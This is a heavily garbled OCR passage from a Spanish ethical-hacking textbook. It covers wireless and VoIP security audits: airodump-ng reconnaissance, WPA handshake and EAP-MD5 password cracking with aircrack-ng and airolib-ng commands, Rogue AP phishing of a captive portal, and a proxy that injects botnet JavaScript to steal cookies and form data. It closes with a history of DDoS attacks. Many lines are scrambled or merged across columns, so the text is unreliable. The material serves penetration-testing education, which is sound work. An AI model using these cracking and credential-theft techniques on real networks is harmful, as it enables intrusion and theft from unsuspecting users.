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auditor debe conocer y estar actualizado. Por 1 :
se realizan distintas pruebas con el fin de determin
proporcionan este tipo de infraestructuras.

o seneral, en este lipo de auditoria o fase del proceso
& 2 4 s s
ar el nivel de confidencialidad y seguridad que

1 a cabo utilizando herramientas de monitorizacion

1 itorias wireless se suelen lleva :
o weros v {i/Linux orientadas a este tipo de pruebas, como

de redes inalambricas, junto a distribuciones GN
pueden ser WifiSlax, BackTrack, Kali, etcétera.

o de VOIP ¢l auditor se conectard a una red de VOIP dénde se realizaran distintas pruebas

e na serie de pautas con las que

emulando el ol de dispositivo de voz. El objetivo sera verificar u
indicar el status de seguridad de dicha infraestructura.

Pruebas |
Las auditorfas wireless proponer una serie de pruebatv. quc;V fgz
infraestructura. El auditor puede utilizar la ﬂ?BthD]lea .O d e
Tarlogic, con la que se pretende orientar al auditor en este tipo de procesos.

rmitan conocer el estado de la
M desarrollada por la empresa

M define un total de 64 controles técnicas, los cuales estan agrupados en 10

La metodologia OWISA ; g i
categorias con las que se especifican un conjunto de pruebas necesarias para g

esle tipo de auditorias.

ormativos que apl

brict

= el s e
I_!!WIEAM_?ITE P.r:jehas sobre hostspots y portales cautivos Debilidades que afectan
Fie, 3.64: Top de controles OWISAM 2013.

i i i mente en OWISAM,
Como se puede visualizar en la imagen existen pruebas especificadas directamen

nadi intere rganizacion:
aunque algunas pueden ser anadidas por interés de la organmizacio

sitivos. En este tipo de prueba se reahzara una recolece i
lementos de infraestructura que s

ion de
- Descubrimiento de dispo 0 ¢

informacion sobre el entorno a auditar y los distintos e
encuentran alrededor.

- Fingerprinting. De nuevo esta técnica e
de funcionalidades.

Pruebas de configuraciones por defectos o no seguras.

eali ilisis
s utilizada, en este caso para realizar un andlis
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- Pruebas sobre la autenticacion y el cifrado de las comunicaciones. Se evaluara si las
comunicaciones son seguras o se utiliza algim protocolo no seguro en la organizacion. La
primera toma de contacto con las redes inaldmbricas se realiza mediante la monitorizacion

de las tramas que circulan por el aire. Este andlisis permitird identificar que protocolos se
estan utilizando.

- Pruebas de denegacién de servicio.
- Pruebas de redes abiertas vy portales cautivos.

- Descubrimiento de SSIDS. Otra de las pruebas permitird conocer los SSID de las redes
inaldmbricas pertenecientes a la organizacién. Esta informacién puede ser util para los
ataques de Rogue AP,

- Ataques de Rogue AP. Esta prueba permitird identificar algunas vulnerabilidades en los
sistemas de acceso Wireless. La idea es suplantar un punto de acceso (4P) o un portal cautivo
para que los usuarios de la red Wireless confien en dicho sistema que permitira el robo de
credenciales, entre otras acciones.

Junto a estas pruebas se tiene que tener muy en cuenta los principales riesgos de seguridad que
marca la metodologia OWISAM en las redes inaldmbricas. se enumeran a continuacion:
- Red de comunicaciones wireless abierta.
- Presencia de cifrado WEP en redes de comunicaciones,
- Algoritmo de generacion de claves del dispositivo inseguro (incluido WES).
- Clave WEP/WPA/WPA2 basada en diccionario.
- Mecanismos de autenticacion inseguros (LEAP. PEAP-MDS. etcétera).
- Dispositivo inaldmbrico con soporte a WPS.
- Red inaldmbrica no autorizada por la empresa,
- Portal cautivo inseguro,
- Cliente accediendo a una red inaldmbrica insegura.
- Cobertura de la red muy alta.

La auditoria de ¥OIP en una organizacién conlleva una serie de pruebas, que llevandolo al plano
procedimental se puede enumerar en un orden l6gico. El objetivo de las pruebas es evaluar la seguridad
y encontrar vias para “romper " la seguridad de la infraestructura de VOIP de la organizacion.

A continuacion se propone un modelo procedimental con ¢l que afrontar una auditoria FOIP. o
llevar a cabo un plan estratégico de evaluacidn:

Identificacion de servidores y terminales. Es importante conocer el entorno de la red y
como ésta se encuentra constituida,

Deteccion de versiones y estudio de vulnerabilidades potenciales a través de basquedas
de exploits.




150 Ethical Hacking: Teoria y prdctica para la realizacion de un pentesting mr
Capitulo 111. Confeccionand,
: ? ndo el ataque
151

leados de la organizacidn,
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‘ . Deteccién de anomalias en los comportamientos de la red de voz y evaluacion sobre suonitory Gué perniite dealizsr 4 ‘é’j‘te circula por el aire. Es importante entender qué es el modo
P o ; 5 = d ¥ cal auai h
ados en MITM. El objetivo es claro, la escucha telefénica de una comunicacion s

ataques bas

de 1a organizacion. cH & 10 Elapseds 36 s ][ 2012:09-1% 151
o Wt 3,10

ervidores en busea de vulnerabilidades o desactualizacion o
BSS1D [E0tx)

f - Ejecucién de ataques contralos s
| de productos. Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
_ . 2 , . gg;g ;22.3 Z;;; ;Z 5 5 © 6 S54e. WEP WEP WLAN_AA
PoC: Descubriendo el mundo inalimbrico en la empresa QD19 BB MEfnrRy 52 R O 0 6 Sde. WPA2 COWP  PSK Oranga-3372
En esta prueba de concepto se escenifica como empezar la auditoria wireless a través del ;;E:gj?fgg;; - 12 16 o 13 ;::: ::'Izij Egjg ::: EL:L]%M Leis
descubrimiento de lo que rodea al auditor en el mundo sin cables. 5C:D9:08: BF : 86 04 ?2] 112 ? 2 ]ﬁ ’g:e ‘l':FF;:Z CCHP  PSK S%mnifsﬂm A
- 69:95: EF: BE B b & 3 e. WPA2 CCMP  DsK Ao
Es importante entender bien qué redes son de la empresa, los canales que se utilizan en los distintos HIOPEGRTSEr T SN L 0 ©® 6 54 WPA2 CCHMP p:: E:\;(I,:;g;i( e
puntos de acceso, recopilar los protocolos de seguridad, la existencia de redes abiertas, portales BSSED STATION PR Rate . NS
cautivos, tipos de autenticacion, etcétera. Todo este primer vistazo se llevard a cabo en 1a primera (aot assceisted] 007 LB Sn: Ex s __ SESE AR
fase de la auditorfa, la cual se puede tomar como un punto de partida hacia todas las pruebas que se 00:1E:58:95:6F:7A 00110 i;F 4’;' ‘:LHJU' ‘:; 2~ JI 7 o D
0a; e 2 g = o 26 4

5C:D9:98:BF: 38

CEBE:
DG

:Bl  DO=22:

74528 7 16e- 0 o
S4e

] o

103+
40

realizaran despues.

Es importante darse el paseo por la empresa en busca de todas las sefiales wireless de la organizacion,
poder realizar un mapa con los puntos de acceso recogidos y 10s datos que s¢ van encontrando y que . 505 Crg e

s 1 ; : : o ) g, 3.65: Captura de trafico con airodhnmp-ne
pueden aportar al auditor mas adelante. Ademas, tanto la identificacion de las redes de la empresa, €0 con & admpHi;

como la multitud de puntos de acceso distribuidos es una de las primeras tareas que daran idea de la ‘ En muchas ocasiones el auditor prefiere utilizar herramientas visual i i
seguridad a la que se enlrenta el auditor. ocurre de manera sencilla, pero la mayorfa de dichas herrami;mf - ld_e”“ﬁt]_ueu.todo lo que

con su modo monitor, : as utilizan por debajo airodump-ng.
Hay que evaluar hasta donde llega la intensidad de la sefial, ya que en algunas ocasiones se puede
disponer de sefial desde fuera de las instalaciones de la organizacion. Ademas, habré que evaluar el A continuacion se detallan los pardmetros que pueden ser visuali _
cifrado que dispone la red. ya que si la red tiene un cifrado débil, o incluso esta abierta porque es elementos en el entorno wireless en una auditoria. ser visualizados en ¢l descubrimiento de
una red de invitados, el trafico puede ser capturado desde fuera de la organizacion. Es cierto que se
tienen que dar ambas condiciones, pero existen casos reales. Parametro D ——

escripeidn
En algunas ocasiones pueden aparecer redes extrafias a la compafiia, de las que habra que tomar nota Bssid Identifica la direccion MAC de un punto de ac
por varias razones. Pueden ser redes que algiin departamento; o algtn empleado hayan montado de Intensidad de la seial. El signifi - acceso
manera no autorizada por la gente de sistemas. poniendo en peligro la seguridad de la red. Por otra PWR modelos cuanto mds celrca c; ITl(])l CﬂdO_ dc_?pende Gex. sembvaladlor; v Rlganos
parte, podrian ser redes pertenecicnies a otras empresas cercanas en el espacio. De todos modos 100 mejor nivel de sefial el 0 mayor nivel y en otros cuanto mas cerca del
habra que notificar en el informe la existencia de este tipo de redes. Beacons Nimer :
, umero de balizas o paquetes anuncio enviados porel AP
La identificacién de SSID permitird visualizar si alguna de las redes, tanto de la organizacion como Data Numero de paquetes de datos. En WEP solo cuentan los [V,
si no. [ueran de algin proveedor por defecto. Logicamente, una red de empresa no dispondra de una #/s T o—" S —— tentan los /VS
configuracion por defecto, pero si pueden provocar cierto “pigue " con Jos nombres por defecto. Sea CH Canal pursegundo
como sea, se debe anotar toda esta informacion de cara al informe y la posterior evaluacion de la . MB e —
seguridad wireless. T XT]OCI-de minima soportada por el AP
oritmo ifT:
Todo este trabajo se puede llevar a cabo con diversas herramientas, pero una gue siempre deberd CIPHER T'g o de cifrado en uso por el 4P Puede ser OPN, WEP, WP4 o WE42 ‘
Ipo de cifrado de datos. Puede ser WEP, TKIP (WPA) o CCMP (WPA2) fi

estar con el auditor es airodump-ng. de la suite aircrack-ng. Esta herramienta permite al usuario




ﬁ—

] ‘a v practic A ealizacion de un pentesting
Ethical Hacking: Teoria y prdctica para la realizacion de un p g

152 [

Parametro Descripcion

Método de autenticacién. Generalmente suele visualizarse PSK en entornos de

AU clave compartida

ESSID Nombre de la red wireless

Station Direccion MAC de un cliente asociado a un AP . . -
Son paquetes en los que un cliente intenta identificar una 1'e$i wireless. .Se puede

Probe obtener el nombre de redes que un cliente estd buscando e intenta verificar que
se encuentran en su radio de accion

Tabla 3.03: Pardmetros de airodump-ing.

i Ie] ; i ;. de escaneo, se
Mediante la monitorizacién con la herramienta airodump-ng u otras herramientas de o re,d -
! : : -
puede visualizar en un entorno empresarial un gran nimero de SSTD, los cualzs p;&rt;n’ec:namdos -
. il reanizacio habrd rep
st le, ya que si la organizacion es grande,
de la empresa. Esto es altamente probable, : . .
&sta un namero alto de puntos de acceso. Se debe estudiar la alternancia de canales entre los 1;1. o
- S0 Cercanc utilicen
de acceso que se reparten, ya que es recomendable que entre puntos de acceso cercanos se

distintos canales no cercanos.

i escubrir redes 3 los clientes
Como se ha mencionado anteriormente, el auditor puede descubrir redes a las qued 0; o
inft i¢ fa ser utili & oglie
wireless se conectan o han conectado, Esta informacién podria ser utilizada en ataques de Kog;

a posteriori.

i ' er - con la informacién
A continuacion se presenta una tabla, a mado de ejemplo, que se debe rellenar con
que el auditor va encontrando en su “paseo " por la organizacion.

Historial SSID (probes)

Flu, WLAN AA, starba
Gimnasio, defauli, Android ASDF,
ce_xanadi, cc_factory

MAC Cliente asociado
AlA2:43:CA:FEFE

BSSID

No asociado

No asociado AA:BB:CC:11:22:33

FE:FE:FE:CA:CA:CA Freewifi, casa_mayor, hotel_zurba

CA:FE:CA:FE:CA:FE

Tabla 3.04: Ejemplo de datos de clientes conectados.

Wifite o e
Una de las herramientas que puede ayudar al auditor en este {po . o
muy sencillo es Wifite. Esta herramienta desarrollada en python permite auto 4

ditorias. y que tieng un uso
bastante el

proceso de auditoria de redes wireless.

i : inc io script
Wifite permite realizar un escaneo del entorno de manera sencilla, ya que incluso es el prop =
. or de la tarjeta y lanza el escaneo. Los datos qu

reali -acion del modo monit :
el que realiza la configuracion e e trarc i}

obtienen en el escaneo son similares a los que se saca con airodump-ng.

anteriormente.

T

Capitulo I1l. Confeccionando el atague

PoC: Analisis de seguridad en la red

Una vez se ha recogido la informacién sobre las redes de la organizacion se deberd evaluar la
configuracion y seguridad de los protocolos que protegen la red inaldmbrica. Ademas, el seguimiento
de la metodologia OWISAM puede ayudar bastante al auditor en sus primeras auditorias wireless.
Es cierto, que como se ha comentado anteriormente. este tipo de auditorias son procedimentales en
un alto porcentaje.

El auditor debe establecer un méximo de seguridad, en funcién de varias circunstancias:
- La médxima seguridad conocida para redes inaldmbricas.
- Elnivel de seguridad en la que se encuentran las redes wireless de a organizacion.

- Evaluar y comparar los niveles y dictaminar la diferencia entre estos niveles. Si la

diferencia supone un riesgo no aceptable por la organizacion se deberd informar como riesgo
alto.

- Sedebe tener en cuenta la funcién de cada red auditada, ¥a que en funcidn de esto el nivel
de eriticidad cambia.

Para ejemplificar esta prueba de concepto se propone un escenario como es el siguiente:
- Existen 3 redes wireless en la organizacion.

- La primera red inalambrica tiene como nombre fnvitados. Esta red no tiene cifrado, sc
replica por varios puntos de acceso con intensidad alta,

- La segunda red inalambrica tiene como nombre ope radora. Esta red dispone de un
cifrado IWPA2-PSK, sin soporte de pratocolo WES.

- La tercera ted inaldmbrica tiene como nhombre segura. Esta red dispone de un citrado
WPAZ Enterprise. La autenticacion es de tipo £4P-MDS.

La red de invitados

El primer caso es una red de invitados que se suelen implantar en empresas para dar Internet a los
clientes o negocios que la empresa pueda tener. Este tipo de redes necesitan de un acceso rapido
¥ no complejo para que los clientes o invitados no se quejen, es el dilema de seguridad contra
productividad. Se sabe que se debe busecar un equilibrio, y que también él no ser una red indispensable
o de trafico importante hace que su seguridad sea menor,

La red debe implantar un acceso a través de un portal, aunque no haya usuarios, y se debe registrar
informacion sobre quiénes acceden, esto serfa lo ideal. Ademds, deberfa haber un display que
mostrase que la red es de tipo abierto y aconsejar que no se llevara a cabo ninguna operacion critica

por parte del usuario, incluso ejemplificando. El display es solicitado por temas burocraticos o
legales.

Por otro lado, cuando el usuario accede al portal donde se da acceso a Internet, algo muy comiin
es encontrarse el certificado auto firmado. provocando el error en el navegador. ;Qué supone estq?
Los usuarios se acostumbran a estos hechos, por lo que dan por normal ¥ no peligroso esta accion.
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El auditor puede utilizar este hecho para que cuando realice la prueba de Rogue AP, el usuario
introduzca sus credenciales en el portal, y no sospeche del certificado. Hay que recordar que en la
prueba del Rogue AP se debe copiar todo el entorno real, para que el usuario piense que accede a
través de un punto de acceso legitimo.

Un ejemplo curioso seria ir fuera de la organizacién y obtener la sefial de la red de invitados y poder
capturar trafico de la red sin necesidad de conectarse a la red. ;Qué se pretende con esto? Indicar que
no existe cifrado y que cualquiera desde fuera puede acceder a la red de los invitados y visualizar
los paquetes y comunicaciones de los usuarios de 1a red, por lo que su privacidad desde fuera de la
organizacion no existe a traves de 1a red. La configuracion de la red esta dejando en manos de los
protocolos que utilicen los usuarios su seguridad, lo cual no es un buen habito.

Es un tema dificil porque las empresas lo saben, pero es mas sencillo configurar una red con el
display y despreocuparse que montar un sistema mas seguro, Habria que evaluar si los empleados no
utilizan esa red, ya que en caso de utilizarla podrian poneren peligro informacién de la organizacion.
También hay que evaluar que desde esa red no se pueda acceder a otra red con mayor privilegio o a
activos que se encuentren en otras redes. Es decir, hay que verificar que la red se encuentra aislada
realmente y no existen errores de configuracion.

No hace falta conectarse al punto de acceso de la red de invitados? La respuesta €s no. Si el auditor
se conecta podra realizar otras técnicas mas activas de ataque, pero si el auditor no quiere dejar
huella en la captura de trafico, simplemente debe conectar su adaptador wireless en modo monitor
v “escuchar el aire”. Esta accion se puede llevar a cabo con airodump-ng de manera sencilla con
¢l pardmetro —w <nombre de fichero>. La instruccién completa serfa, por ejemplo. airodump-ng -w
<fichero CAP= monl).

B&pressinn... Clear Apply Save

No. Time Source Destination Protocol Length Info
52 8.409130 172.17.1.203 31.13.64.7 HTTP 798 GET /ajax/presence/recunnect.php?_user-

56 9.092200 31.13.64.7 172.17.1.203 HTTP 1048 HTTP/1.1 200 OK (app'l‘icau‘cn/x—javascri
102 12.131310 172.17.1.203 69.171.246.16 HTTP 738 GET /pu'l'I?channe'l=p_87373003?&seq=597&pa

Filter: http contains “Cookie"

203 34.B52949 172.17.1.203 31.13.64.7 HTTP 504 POST ;’ajax,’chat/buddy_ﬁst.php HTTP/1.1

Hg.3ﬁﬁ:RohodeunarookmzlWavésde!ureddcinvhadc&

La red WPA/WPA2 con PSK

En el caso del andlisis de seguridad de la segunda red, la de tipo WPA2-PSK. denominada ope
radora, se tiene que tener en cuenta si la red dispone de WPS, algo que no serfa normal en un entorno
de empresa. Este tipo de redes con autenticaciéon PSK. no suele encontrarse en dmbitos profesionales,
pero es cierto que algunas empresas las usan como redes intermedias. En otras palabras, la utilizan
empleados que no mancjan informacién sensible para realizar tareas comunes o del dia a dia y que
no requieren un alto grado de seguridad. ;Esto es debatible? Por supuesto, pero es cierto que algunas
empresas las utilizan. ;Son seguras? Lo son, tanto como lo sea su contrasena.

Cuando un auditor se encuentra este tipo de redes, y suponiendo que no tiene WPS, sabe que el
tiempo de crackeo para estas redes es muy alto, por lo que se tiende a optar por auditar otras redes.
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En algunas ocasiones s :

e ocasiones se han Fiado casos en los que la contrasefia no era todo lo complej
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CH B ; Tl
H 6 1[ Elapsed: 1 min ][ 2013-84-63 18:21 ][ WPA handshake: 0022 :B0:70:DE-BE

BSSID PWR RXD Beacons #lata, #/s CH WMB ENC  CIPHER AUTH ESSID
00:22:B0:70:DE:BE -38 90 1655 422 @ 6 54 . WPAZ CCMP  PSK ‘_V’
. WeAz cr ¢ LawiR
BSSID STATION PWR  Rate Lost Framses Probe
00:22:B0:70:DE:BE 00 1C:BF:40:68:R0 Q I ) 977

Fig. 3.67: Caplura del hanelshiake.

Se podrian utilizar distintas técnics
“[ilii’?u_é 1 Ill.Lcll distintas técnicas para llevar a cabo el crackea del handshale ataques por GPU
zac1on 1irolib- AT DENEFACIDH speri{Liva PRI ARG
a de airolib-ng para generacion de PMKs, fuerza bruta o diccionario con airerack-ne
ario @ o-1ng

eteetera. L Py,

La red Enterprise

En la tercera red wirefess izacid
& e d 11-;@:’(45.? de la organizacion denominada segura, se tiene un cifrado WP4 2
\,’. : prise, con autenticacion de tipo E4P-MDS5. Con estos datos ¢l auditor ya sabe , i s
- o v e = )
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Se

que la red es
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e un

desafio. En primer i
- En primer lugar el cliente se asocia al punto de acceso y se identificara con el nombre de
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usuario, identity, esta informacion se pasa al RADIUS. El servidor RADIUS contesta al cliente,
a través del punto de acceso, con un paquete, el cual contiene un /D de la peticion y un desafio
en formato hash MDS5 aleatorio. Por ejemplificar esto, se podria decir que el ID es 22 y el hash
7edb64eb65e34fdfad79e623c44abd94. El cliente debe generar un hash MD3 formado por el 1D,
contrasefia y desafio, es decir, concatenando esos tres valores. Por tltimo, el servidor RADIUS
realiza la misma operativa, ya que también conoce la credencial y si obtiene el mismo hash, la

contrasefia sera valida.

;Doénde esta el problema? El peligro radica en que todo este trifico se envia a través de un canal no
seguro, es decir, en texto plano. Con una captura de cémo se conecta un cliente permitiria generar un
ataque de diccionario sobre la contrasefia. La idea es generar el ntumero de hashes MD3 necesarios
para obtener el que envio el cliente legitimo.

Existen dos scripts denominados eaqpmdScrack 'y eapmdSpass que ayudardn al auditor a realizar
¢l crackeo. La gente de Security By Default ha optimizado y participado en la modificacion de los
seripts, creando eapmeShegen.py, el cual se puede encontrar en la siguiente direccion URL hitps://
code.google.com/p/sbdiools/downloads/list, para que realicen la comprobacién de un nlimero
clevado de contrasefias en un breve periodo de tiempo. Se ayudan de hasheat y oclhasheat para el
crackeo de contrasefias mediante CPU o GPU.

Los pardmetros para el seript de Alejanclro Ramos son:
—reap.rule, afiade el ID del paquete al inicio de cada palabra. Es totalmente necesario para

Ja generacion del hash final.

- —ouifile-format <valor>, para mostrar el resultado en fex.

- —hev-salt. se le indica el challenge enviado por el servidor RADIUS.
- - =<valor=>, indica el tipo de hash y formato que es.

- ToPwn, fichero que contiene el hash:salt.

- <ruta diccionario> directamente apunta al fichero /xt.

PoC: Rogue AP en la empresa

En esta prueba de concepto el auditor intenta colocar un punto de acceso falso con el fin de que
los empleados de la organizacion se conecten a éste. El objetivo final es que ¢l punto de acceso
que el auditor configure disponga de la misma configuracién y que las redes inalambricas que se
encuentran cn la organizacion.

El objetivo principal es verificar si los empleados caerfan en este silencioso ataque, y poder capturar
el trafico. (Qué se pretende? Se intenta verificar la dificultad que supone que alguien cologue un
punto de acceso falso y consiga que los empleados. sin saberlo, se conecten a este punto de acceso
falso en vez de a los dispositivos reales.

El objetivo de esta prueba de concepto es generar un phishing del portal de la red de invitados. 5¢
suplantard un punto de acceso, el propio de 1a red de invitados, para llevar a cabo el ataque. Al final
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se conseguira 3 i ] i
s engcm_a o;)tener las ci edengales de algln usuario. Esas credenciales, en algunos casos podrian
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Fig. 3.69: Certificado del sitio no es de confianza.
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- El cadigo fuente del sitio web puede presentar instrucciones comentadas o comentarios
de los desarrolladores. Esto hay que revisarlo, ya que nunca se sabe lo que se puede encontrar
en el cadigo [uente.

Una vez realizada la copia del portal cautivo se modifica la 16gica de la web, por ejemplo con
tecnologia PHP si se decide implanta con ésta. El objetivo de modificar la logica de la web es la
de capturar informacién de los visitantes y poder almacenar el envio del formulario de acceso,
guardando todos los datos introducidos.

La ruta de directorios original se respeta para que proporcione una sensacion de sitio de confianza
al usuario victima. Ademds, se redirige a cualquier sitio web que el portal tuviera configurado por
defecto. una vez introducidas las credenciales, con el fin de otorgar semejanza a la victima.

Se tiene que tener en cuenta que en el punto de acceso suplantado se establece el mismo rango de
direcciones [P que en el segmento original, para que, de nuevo, el usuario victima no sospeche de
su entorno.

Usuario
Contrasena
Aceptar

i durante sit estancia o visita necesita acceso a la red, pongase en confacto con el administrador de 1a

Fig. 3.70: Portal cautivo suplantado,

PoC: Rogue AP inyectando Javascript botnet

En esta prueba de concepto la idea es similar a la anterior, se monta un Rogue AP y se consigue que
el usuario se conecte al punto de acceso no legitimo. El objetivo es infectar el equipo o dispositivo
movil que se conecta al punto de acceso con un fichero Javascript malicioso. Si se quiere que el
ataque sea transparente para el usuario, el equipo del auditor realizara las tareas de router, y enviard
el tréfico a Internet. De nuevo se esté realizando un MITM.

iPor qué la prueba de la Javascript Botnet? Se quiere probar la actuacion de los usuarios, y la
viabilidad para poder infectar internamente a los usuarios y, sobretodo, sus dispositivos moviles. ;En
qué consiste? Este proceso consiste en inyectar codigo Javascript en ficheros licitos. por ejemplo
ga.js, que la victima descarga en su navegacion. Para ello se habilita un proxy en la propia magquina
del auditor, el cual s encargara de afadir este codigo.

Cuando la victima haga una peticion hacia [nternet y se descargue algiin archivo Javascript, el proxy
realizard la modificacion en el contenido del cédigo Javaseript ahadiendo el pavload para que s€

ejecute junto al codigo licito.

Una vez el fichero “js " infectado o modificado con el codigo “malicioso ™ se gjecuta en el cliente,
enviard informacién como cookies, datos de formulario, etcétera. Esta informacion sera almacenada

por el auditor en base de datos.

bl
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Fig. 3.71: Panel de control de la Javaseript bomet,
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CH 6 1[ Elapsed: 1 min }[ 2013-84-63 18:21 1[ WPA handshake: 08:22:B0:70:DF:BE
BSSID PWR RKO Beacons #0ata, #/s CH MB  ENC CIPHER AUTH ESSID
00:22:80:70:DE:BE -38 98 1855 422 Q 5 54 . WPAZ cCMP BSK  LawR
BSSID STATION PWR  Rate Lost Frames Probe
08:22:B0:70:DE:BE 06:1C:BF:4D:0B:BO B 1 -1 0] 977

Fig. 3.72: Captura del handshake.
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Ahora. se debe crear la base de datos en la que se obtendran las PMKs para el ESSID que se elija, en
esie caso el de la red en particular. La herramienta para generar esta informacion sera airolib-ng, el

cual tiene algunas restricciones.
En primer lugar, el fichero con los ESSID, ya que se puede aprovechar la tabla para generar PMKs

para mas de un £SS/D. En segundo lugar, el fichero con las palabras que pueden ser contrasefias, s
decir, un diccionario. Se debe tener claro que para cada ESSID se generard una tabla con las PMKs

precalculadas.

root@kali:-# airolib-ng crackwpa --impert passwd /root/passwd. txt
Reading file...

riting...es read, 36561 invalid lines ignored.

Done .

root@kali:~# echo LaWR > /root/essid.txt

root@kali:~# airclib-ng crackwpa --import essid /root/essid.txt
Reading file...

Writing...

Daneg.

root@kalii—# airolib-ng crackwpa --stats

There are 1 ESSIDs and 16 passwords in the database. ® out of 16 possible combinations have baen comput

ed (0%) .
CSSID  Priority Daone
LaWR 54 6.6

root@kali:-# I

Fig. 3.73: Generacion de la tabla con PMKS.

root@kali:-# airclib-ng crackwpa --clean all

Deleting invalid ESSIDs and passwords. ..

Deleting unreferenced PMEs. ..

Analysing index structure...

Vacuum-cleaning the databass. This could take & while...
Checking database integrity...

integrity_check

ok

Done .
root@kali:~# airelib-ng crackwpa --batch
Computed 16 PMK in 1 seconds (16 PMK/s, B in buffer). ALl ESSID processed.

root@kali:—# airolib-ng crackwpa --verify all
Checking all PMKs. This could take a while...
ESSID  PASSWORD PMK_DB CORRECT

Fig. 3.74: Verificacidn de datos en la tabla.

Una vez se dispone de la informacion en la tabla. se debe utilizar aircrack-ng con la siguiente
instruccion airerack-ng —r <fichero base datos= <fichero captura>.

En la segunda prueba de concepto s¢ presenta un ataque contra el protocolo WEP, baséndose en un
punto de acceso falso que ¢l auditor colocaré. El ataque se denomina Hirte. En ningdn momento
se necesita la interaccion del punto de acceso verdadero o real. En el punto de acceso falso s¢
configurard el SSID del punto de acceso original, para que la victima lo tenga en la lista de SSID
almacenados en su equipo. De este modo la victima se conectara automaticamente, sin darse cuentd,
para después generar trafico legitimo para llevar a cabo el proceso del crackeo WEP.
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Fig. 3.75: Cabeeera LEC XYOR con datos cilrados.

Qué se puede hacer? sidlsswpaliome o

é ?E ) L]LJem ‘ hflCEl ? ‘Se puede IE‘E[]I?EII un XOR conun paquete que se cree al fragmentar el original
: ]qu qRPsera pell’eclamente valido para la red original. Este hecho vale para ﬁ"a"mem:r o

paquete » y después llevar a cabo la reinyeccion de paquetes ARP = o

[n;?%m‘c un paquete da_a & bytes formado por 4 bytes de datos y 4 bytes de ICV. Al realizar el YOR
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¥ como se puede visualizar en la imagen.
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Fig. 3.76: Generacion de paquele vilido en ataque Afrre.
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Esto sirve para atacar al cliente, ;Como? Cuando éste se conecte al punto de acceso, después de

enviar los primeros paquetes enviard los ARP request, sera aqui cuando se responda con un ARFP

reply.

Para crear el punto de acceso [also se utiliza la herramienta airbase-ng con la siguiente instruceion
airbase-ng —c <canal a emplear> —essid <nombre red> -W I <interfuz de radio> -N. En el caso de
_W y =N indican que el protocolo de cifrado es WEP y que se realiza el ataque hirte.

Se tendré que almacenar la captura con airodump-ng, para ello se ejecuta la siguiente instruceion
airodump-ng —¢ <canal a esuchar> -W <fichero captura> <interfaz de radio>.

En la captura de trafico con airodump-ng se podria visualizar como los paquetes crecen rapidamente,
por lo que la inyeccion de paquetes estd funcionando bastante bien. Simplemente toca esperar a
alcanzar un niimero alto de paquetes para utilizar aircrack-ng, y llevar a cabo el proceso de crackeo
de la clave.

La instruceidn seria aircrack-ng <captura de trdfico>.

PoC: Conociendo el entorno VOIP de la organizacion

Es importante conocer el entorno que rodea al puesto donde un auditor se encontrard. Todo dato
es importante, en algunos modelos de teléfonos se puede encontrar que al conectarlos a la red se
realizan peticiones HTTP. Esto puede ser visto, simplemente, en el display del propio dispositivo.

Cuando un dispositivo VOIP se conecta a la red puede ayudar al auditor indicandole a donde se esta
conectado, como se ha mencionado anteriormente. ;Para qué sirven estas peticiones? En algunos
casos, simplemente ayudan a la gestion y organizacién de los teléfonos disponibles en la red,
indicandole al servidor que gestiona todo que hay un teléfono nuevo en la red.

Las peticiones puedes ser esnifables, por lo que el auditor puede estar preparado para capturar el
tréfico en esa “hoca” o en otra. La temdtica de las versiones en este entorno tiene mucha importancia,
ya que si a través de los pequefios detalles, como el del display, se pueden sacar las versiones de
Jirmware que ejecuta el dispositivo, o algo que identifique al servidor, mejor.

PoC: Recogida de informacion y evaluacion de seguridad

Como se menciond en las prucbas tras identificar el entorno se deben realizar varias acciones:
- Busqueda de exploits en busca de fallos de seguridad en el firmware del dispositivo.
- Testear la configuracién de los terminales.

- Realizar una captura de trafico. Con esto se comprobarin varias cosas, pero dos
importantes, como se llevan a cabo las comunicaciones, cifradas o no cifradas, y si sin
necesidad de realizar MITM la red se comporta come Aub. La informacion que puede llegar
al auditor sin tener que hacerlo puede sorprender a méas de uno en una auditoria.
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adelante el paradigma cloud computing y 1as hotirels aparecen cn muchas ocasiones como vias hacia

la denegacion de servicio.

Las pruebas que se realicen sobre una organizacion deben estar siempre bajo el control del equipo
de auditoria y sin llegar a realizar alguna accion no legal. Por esta razém, como se verd mds adelante

las botnets deben ser descartadas.

Antes de comenzar con la explicacién de pruebas gue se llevan a cabo en este tipo de procesos y las
pruebas de concepto para entender mejor como llevarlo a cabo, se va a realizar un repaso historico

a las téenicas de DoS y DDoS.

Historia de las técnicas DDoS

A lo largo de los afios ha habido grandes ataques de DDoS a empresas, organizaciones, gobiernos
o paises. Muchos de estos ataques eran reivindicaciones por acciones de gobiernos, con los que
los atacantes no se encontraban de acuerdo. Se puede entender la DDoS como una via de protesta
y ataque contra infraestructuras en busca de pérdidas por parte de qui¢n lo recibe o acciones que

reivindiquen situaciones enfrentadas.

A principios del afio 2014 un grupo en nombre de Anonymous atacd el sitio web de la prefectura de
Wakayama, en la ciudad de Taiji. En esta ciudad hay una famosa matanza, que se realiza desde el
siglo XVII, de delfines. Este hecho no ha pasado inadvertido por Internet y por sus usuarios, y ha
provecado que Anonymous lomara acciones protestantes en forma de DDoS.

Anonymous dejé el sitio web de la prefectura sin servicio durante varios minutos, y ademas realizaron
un aviso al gobierno japonés en el que se comunicaba gue habria mas ataques si la matanza de

delfines no llegaba a su fin.

En Marzo de 2013 existié un conflicto entre Spamhaus y la empresa de hosting Cyberbunker, ¢l
cual desemboco en uno de los mayores ataques de DDoS conocidos de la historia hasta la fecha.
Spamhaus es una organizacion sin fines de lucro con sede en Ginebra y Londres y cuyo objetivo es
proporcionar una capa de filtro anti spam. En otras palabras, Spamhaus proporciona un servicio en
el que las empresas pueden comprobar si un servidor de correo pertenece a alguna lista de spam.
La gente de Cyberbunier, situada en Alemania, se encarga de hospedar sitios en sus servidores. El
contenido que alojan puede ser de cualquier tipo, excepto pornografia infantil o terrorismo.

. Qué ocurrid para que esto acabe en uno de los mayores incidentes de DDoS de la historia conocida?
/Quién lanzo la oleada? Lo que supuestamente ocurrio fue que la gente de Spamhaus calificd de
spam todos los correos salientes de los servidores de Cyberbunker, independientemente de los
clientes que fueran. En otras palabras, trataron a todos los clientes por igual, simplemente por tener
sus sitios web en el hosting aleman. Esto provoca muchas criticas por parte de los clientes de la
empresa de hosting y fue la mecha que encendid lo que vino después. A la segunda pregunta s¢
puede contestar con que las acciones fueron llevadas a cabo por gente de Cyberbunker. A priori
era algo logico, ya que ellos se quejaron y después el ataque fue lanzado, pero no habfa pruebas
